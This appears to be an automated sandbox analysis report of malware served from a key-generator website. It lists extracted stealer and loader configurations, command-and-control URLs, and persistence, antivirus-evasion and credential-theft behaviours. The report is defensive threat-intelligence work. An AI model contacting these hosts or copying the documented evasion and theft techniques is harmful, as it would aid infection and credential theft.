azorult | hxxps://keygenninja[.]com/

Resubmissions

28-03-2021 14:03

210328-k4cvgmxem6 10

28-03-2021 09:38

210328-av8mak971a 10

27-03-2021 18:19

210327-4yh3gn24dn 10

Analysis

max time kernel
364s
max time network
671s
platform
windows10_x64
resource
win10v20201028
submitted
27-03-2021 18:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://keygenninja.com/
Sample

210327-4yh3gn24dn

Malware Config

Extracted

Family

raccoon

Botnet

4ce8ad65ffaa0dffa8cc56e03b4fd65c31c1a91d

Attributes

url4cnc
https://telete.in/j90dadarobin

rc4.plain

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

smokeloader

Version

2019

http://10022020newfolder1002002131-service1002.space/

http://10022020newfolder1002002231-service1002.space/

http://10022020newfolder3100231-service1002.space/

http://10022020newfolder1002002431-service1002.space/

http://10022020newfolder1002002531-service1002.space/

http://10022020newfolder33417-01242510022020.space/

http://10022020test125831-service1002012510022020.space/

http://10022020test136831-service1002012510022020.space/

http://10022020test147831-service1002012510022020.space/

http://10022020test146831-service1002012510022020.space/

http://10022020test134831-service1002012510022020.space/

http://10022020est213531-service100201242510022020.ru/

http://10022020yes1t3481-service1002012510022020.ru/

http://10022020test13561-service1002012510022020.su/

http://10022020test14781-service1002012510022020.info/

http://10022020test13461-service1002012510022020.net/

http://10022020test15671-service1002012510022020.tech/

http://10022020test12671-service1002012510022020.online/

http://10022020utest1341-service1002012510022020.ru/

http://10022020uest71-service100201dom2510022020.ru/

rc4.i32

Extracted

Family

smokeloader

Version

2020

http://xsss99.icu/upload/

http://bingooodsg.icu/upload/

http://junntd.xyz/upload/

http://ginessa11.xyz/upload/

http://overplayninsx.xyz/upload/

http://bananinze.com/upload/

http://daunimlas.com/upload/

rc4.i32

Extracted

Family

raccoon

Botnet

afefd33a49c7cbd55d417545269920f24c85aa37

Attributes

url4cnc
https://telete.in/jagressor_kz

rc4.plain

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 3 IoCs

Processes:

resource	yara_rule
behavioral3/memory/6752-705-0x00000000023F0000-0x0000000002CFA000-memory.dmp	family_glupteba
behavioral3/memory/6752-706-0x0000000000400000-0x0000000000D24000-memory.dmp	family_glupteba
behavioral3/memory/6764-707-0x0000000000400000-0x0000000000D24000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

XMRig Miner Payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral3/memory/5532-619-0x0000000140000000-0x000000014070A000-memory.dmp	xmrig
behavioral3/memory/5532-621-0x0000000140000000-0x000000014070A000-memory.dmp	xmrig
behavioral3/memory/5532-656-0x0000000140000000-0x000000014070A000-memory.dmp	xmrig

Creates new service(s) 1 TTPs
persistence

New Service
T1050

Executes dropped EXE 21 IoCs

Processes:

keygen-pr.exekeygen-step-1.exekeygen-step-2.exekeygen-step-3.exekeygen-step-4.exeSetup.exekey.exemultitimer.exesetups.exeaskinstall20.exe7F7E.tmp.exesetups.tmpmultitimer.exemultitimer.exe2ym0hzrqbhb.exe2ym0hzrqbhb.tmpSetup3310.exevict.exefile.exeSetup3310.tmpvict.tmp

pid	process
4396	keygen-pr.exe
4424	keygen-step-1.exe
676	keygen-step-2.exe
4636	keygen-step-3.exe
4576	keygen-step-4.exe
1044	Setup.exe
5240	key.exe
2172	multitimer.exe
5904	setups.exe
5936	askinstall20.exe
5920	7F7E.tmp.exe
3416	setups.tmp
1080	multitimer.exe
1736	multitimer.exe
640	2ym0hzrqbhb.exe
1240	2ym0hzrqbhb.tmp
2832	Setup3310.exe
1020	vict.exe
4116	file.exe
844	Setup3310.tmp
220	vict.tmp

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

setups.tmp

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp
Loads dropped DLL 6 IoCs

Processes:

setups.tmp2ym0hzrqbhb.tmp

pid process

3416 setups.tmp
3416 setups.tmp
3416 setups.tmp
3416 setups.tmp
3416 setups.tmp
1240 2ym0hzrqbhb.tmp
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation	setups.tmp

pid	process
3416	setups.tmp
3416	setups.tmp
3416	setups.tmp
3416	setups.tmp
3416	setups.tmp
1240	2ym0hzrqbhb.tmp

themida 1 IoCs

Detects Themida, Advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral3/memory/1044-788-0x0000000000400000-0x0000000000FE1000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

multitimer.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\asrofr402o2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\LPFWTFLWD0\\multitimer.exe\" 1 3.1616869535.605f789f29d73"	multitimer.exe

Checks for any installed AV software in registry 1 TTPs 53 IoCs

Security Software Discovery

T1063

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Avira\Antivirus	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\MACHINE\Software\Avira\Antivirus	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Vba32\Loader	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\TrendMicro\UniClient	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService	multitimer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

Processes:

askinstall20.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\colgdlijdieibnaccfdcdbpdffofkfeb\6.37.18_0\manifest.json	askinstall20.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
741	checkip.amazonaws.com
302	checkip.amazonaws.com
319	ip-api.com
399	checkip.amazonaws.com
420	ip-api.com
654	ipinfo.io
657	ipinfo.io
662	ipinfo.io
790	checkip.amazonaws.com
271	ipinfo.io
273	ipinfo.io
548	checkip.amazonaws.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Drops file in Windows directory 3 IoCs

Processes:

MicrosoftEdge.exemultitimer.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 20 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5432	5812	WerFault.exe	s2qd1lm101j.exe
2956	5812	WerFault.exe	s2qd1lm101j.exe
2076	5812	WerFault.exe	s2qd1lm101j.exe
4932	5812	WerFault.exe	s2qd1lm101j.exe
5264	1096	WerFault.exe	winlthsth.exe
1816	5812	WerFault.exe	s2qd1lm101j.exe
4452	5812	WerFault.exe	s2qd1lm101j.exe
5656	5812	WerFault.exe	s2qd1lm101j.exe
5956	5812	WerFault.exe	s2qd1lm101j.exe
6608	5812	WerFault.exe	s2qd1lm101j.exe
6576	6516	WerFault.exe	b9706c20.exe
8728	8884	WerFault.exe	3uixwwzrjdy.exe
5880	8884	WerFault.exe	3uixwwzrjdy.exe
1468	8884	WerFault.exe	3uixwwzrjdy.exe
9400	8884	WerFault.exe	3uixwwzrjdy.exe
9708	7340	WerFault.exe	bdw5mcpfj23.exe
10208	8884	WerFault.exe	3uixwwzrjdy.exe
10224	8884	WerFault.exe	3uixwwzrjdy.exe
5124	8884	WerFault.exe	3uixwwzrjdy.exe
9604	8884	WerFault.exe	3uixwwzrjdy.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

6960 schtasks.exe
7548 schtasks.exe
9124 schtasks.exe
7584 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

6720 timeout.exe
3256 timeout.exe
5404 timeout.exe

pid	process
6960	schtasks.exe
7548	schtasks.exe
9124	schtasks.exe
7584	schtasks.exe

pid	process
6720	timeout.exe
3256	timeout.exe
5404	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

multitimer.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe

GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 432 Go-http-client/1.1
HTTP User-Agent header 442 Go-http-client/1.1
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4972 taskkill.exe
4188 taskkill.exe
3696 taskkill.exe

description	flow	ioc
HTTP User-Agent header	432	Go-http-client/1.1
HTTP User-Agent header	442	Go-http-client/1.1

pid	process
4972	taskkill.exe
4188	taskkill.exe
3696	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

browser_broker.exeMicrosoftEdgeCP.exeMicrosoftEdge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{48EE0E4C-D4E9-409E-9C85-E41DA485D5EE} = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000383673911adcdb886a365b606d43e1bc78c8b2694e35c399d7faf2ac4586707401504119c1aea2fd745ef349219f9786801949460216bfae6d41	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "5"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{C438C8D8-50B2-4903-A6A9-3B435235D7E3}"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
